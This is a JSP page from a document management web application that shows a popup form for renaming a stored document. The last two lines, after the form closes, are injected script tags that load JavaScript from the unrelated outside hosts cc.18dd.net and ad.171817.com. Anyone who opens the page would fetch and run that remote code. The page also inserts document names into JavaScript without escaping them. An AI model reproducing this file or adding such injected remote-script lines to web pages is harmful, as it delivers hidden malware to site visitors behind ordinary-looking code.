<%
/*
 * @(#)EditPopupRename.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditPopupRename.jsp

  This class is used to retrieve the document content from http

  @author          jerry zhou
  @company         DCIVision Limited
  @creation date   27/07/2005
  @version         $Revision: 1.14.4.8 $
*/
%>
<% request.setCharacterEncoding("UTF-8");  %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>


<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsRenameForm" scope="request" class="com.dcivision.dms.web.MaintDmsRenameForm"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>

<head>
<title>Popup Rename</title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->

<!-- Framework Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
<!-- Common Javascript Begin -->
<script language="Javascript"><jsp:include page="/js/Variable.jsp"/></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="javascript">g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";</script>

</head>

<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000">

<html:form type="maintDmsRenameForm" enctype="multipart/form-data" action="dms/MaintDmsRename" styleClass="form-style-2">
<html:javascript formName="maintDmsRenameForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
  String sCurFunctionCode = maintDmsRenameForm.getCurFunctionCode();

  final Integer rootID = TextUtility.parseIntegerObj(maintDmsRenameForm.getRootID());
  final Integer parentID = TextUtility.parseIntegerObj(maintDmsRenameForm.getParentID());
  final String opMode = maintDmsRenameForm.getOpMode();
  final String navMode = maintDmsRenameForm.getNavMode();
  String docName = maintDmsRenameForm.getDocumentName()==null?"":maintDmsRenameForm.getDocumentName();

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DmsDocument currentDocument = (DmsDocument) docRetrievalManager.getDocument(TextUtility.parseIntegerObj(maintDmsRenameForm.getID()));
  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");

  String homePageFunctionCode="";
   if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
    DmsDocument documentRoot = docRetrievalManager.getRootFolderByRootID(rootID);
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
    
   }
   
%>

<script language="JavaScript">
<!--
function OpSelfSave() {  
  var oldFilename = "<%=currentDocument.getDocumentName()%>";
  if (oldFilename == document.maintDmsRenameForm.documentName.value) {
    alert("<bean:message key='dms.message.same.file.name'/>");
    return(false);
  }
  if(document.maintDmsRenameForm.documentName.value == null|| document.maintDmsRenameForm.documentName.value==''){
   alert("<bean:message key='errors.dms.empty_document_name'/>");
    return false;
  }
	if ("Z"!="<%=currentDocument.getDocumentType()%>"&&"L"!="<%=currentDocument.getDocumentType()%>"&&"H"!="<%=currentDocument.getDocumentType()%>"&&GetFileExtension(document.maintDmsRenameForm.documentName.value).length<1){
	alert('<bean:message key="errors.dms.need_ext"/>');
	return false;
  }  
  document.maintDmsRenameForm.ID.value="<%=maintDmsRenameForm.getID()%>";
  document.maintDmsRenameForm.opMode.value="<%=DmsOperationConstant.RENAME_OPERATION%>";
  document.maintDmsRenameForm.refreshTag.value="0";
  document.maintDmsRenameForm.submit();
  return false;
}

<%if("1".equals(maintDmsRenameForm.getRefreshTag())){ %>
	var frm = null;
	for (var i = 0; i < window.opener.document.forms.length; i++) {
    if (window.opener.document.forms[i].name != "") {
      frm = window.opener.document.forms[i];
      break;
    }
	}
	if (frm != null) {
		frm.submit();
	} else {
		window.opener.location.reload();
	}
	window.close();
<%}%>

-->
</script>

<html:hidden property='parentID'/>
<html:hidden property='rootID'/>
<html:hidden property="opMode"/>
<html:hidden property="ID"/>
<html:hidden property="refreshTag"/>

<!-- Section Header -->
<div class="popupPanelTitle">
  <table>
    <layout:sectionHeader name="dms.common.doc_rename" blackLine="false" mandatory="false" />
  </table>
</div>

<div class="generalContainer">
  <div class="wrapperContainer-clearfix">
    <table cellpadding="0" cellspacing="2" border="0" width="720">
      <layout:sectionHeader name="dms.label.dms_orig_file_detail"mandatory="true"/>
      <tr>
        <td class="formLabelSmall" width="150" valign='top'><bean:message key='dms.label.document_name'/>:&nbsp;</td>
        <%if(!DmsDocument.DOCUMENT_LINK.equals(currentDocument.getDocumentType())){
        %>
          <td class="formFieldSmall" width="600"><dms:extImg fileName='<%=currentDocument.getDocumentName()%>' docType='<%=currentDocument.getDocumentType()%>'/>
          <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%> <bean:write name='maintDmsRenameForm' property='oldName'/> <%} else { %> <%=currentDocument.getDocumentName()%> <html:hidden property='oldName' value='<%=currentDocument.getDocumentName()%>'/> <% } %></td>
        <%}else{ 
          DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)currentDocument).getID(),DmsDocument.DOCUMENT_LINK);
          if (!Utility.isEmpty(newDocument)){%>	 
            <td class="formFieldSmall" width="600"><dms:extImg fileName='<%=currentDocument.getDocumentName()%>' docType='<%=currentDocument.getDocumentType()%>' tarDocType ='<%=newDocument.getDocumentType()%>'/>
            <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%> <bean:write name='maintDmsRenameForm' property='oldName'/> <%} else { %> <%=currentDocument.getDocumentName()%> <html:hidden property='oldName' value='<%=currentDocument.getDocumentName()%>'/> <% } %></td>
          <%}%>      
        <%}%>
      </tr>
      <tr>
        <td class="formLabelSmall" width="150" valign='top'><bean:message key='dms.label.location'/>:&nbsp;</td>
        <td class="formFieldSmall" width="600"><%=request.getAttribute("location")%></td>
      </tr>
      <tr>
        <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='10'/></td>
      </tr>
      <layout:sectionHeader name="dms.label.dms_new_file_detail" mandatory="false"/>
      <tr>
        <%String label = "dms.label.name_label_"+currentDocument.getDocumentType();%>
        <td class="formLabelSmallMan" width="150"><bean:message key="<%=label%>"/>:&nbsp;</td>
      <%if(docName!=""){%>
          <td class="formFieldSmall" width="600"><html:text property="documentName" size="25" maxlength="100" /></td>
      <%}else{%>
        <td class="formFieldSmall" width="600"><html:text property="documentName" size="25" maxlength="100" value="<%=currentDocument.getDocumentName()%>"/></td>
      <%}%>
      </tr>
      <tr>
        <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='10'/></td>
      </tr>
    </table>
  </div>
</div>

<div id="bottomButtonArea">
  <div id="buttonSection">
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
      <html:standardButton label="common.label.save" onClick="return OpSelfSave()"/>
      <html:standardButton label="common.label.close" onClick="return self.close();"/>	 			
    <%}%>       
  </div>
</div>

</body>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>